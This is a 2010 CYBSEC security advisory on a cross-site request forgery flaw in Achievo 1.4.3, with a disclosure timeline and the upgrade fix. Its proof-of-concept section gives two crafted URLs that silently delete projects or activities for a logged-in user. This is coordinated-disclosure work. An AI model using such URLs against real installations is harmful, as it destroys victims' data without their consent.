Advisory Name: Cross Site Request Forgery in Achievo 1.4.3

Internal Cybsec Advisory Id: 2010-08-03

Vulnerability Class: Cross Site Request Forgery

Release Date: 2010-Sept-28

Affected Applications: Achievo 1.4.3 (other versions may be also vulnerable)

Affected Platforms: Any

Local / Remote: Remote

Severity: Medium CVSS#2: 4.0 (AV:N/AC:L/Au:S/C:N/I:P/A:N)

Researcher: Pablo G. Milano

Vendor Status: Confirmed / Patch is available

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

As application does not properly validate the "confirm" parameter in URL, a logged-in achievo user may be tricked to access an URL leading to deletion of tasks or projects without user's confirmation

Proof of Concept:

1) To delete a project:
   http://server/dispatch.php?atknodetype=project.project&atkselector=project.id='XXXX'&atkaction=delete&atklevel=1&atkprevlevel=0&confirm=Yes
   (where XXXX is the project ID number)

2) To delete an activity:
   http://server/dispatch.php?atknodetype=timereg.hours&atkaction=delete&atkselector=hoursbase.id='XXXX'&confirm=Yes
   (where 'XXXX' is the actual ID of the activity to be deleted)

   Note: Even though a confirmation message is displayed to the user, at that point the activity has already been deleted.

Solution: Upgrade to version 1.4.5

Vendor Response:

2010-Aug-04: Vendor is contacted
2010-Aug-05: Vulnerabilities details are sent to vendor
2010-Aug-25: Vendor informs status
2010-Sept-27: Vendor and researcher agree publication date
2010-Sept-28: Vulnerability public disclosure / Patch is released

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
pmilano <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996, **CYBSEC** is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com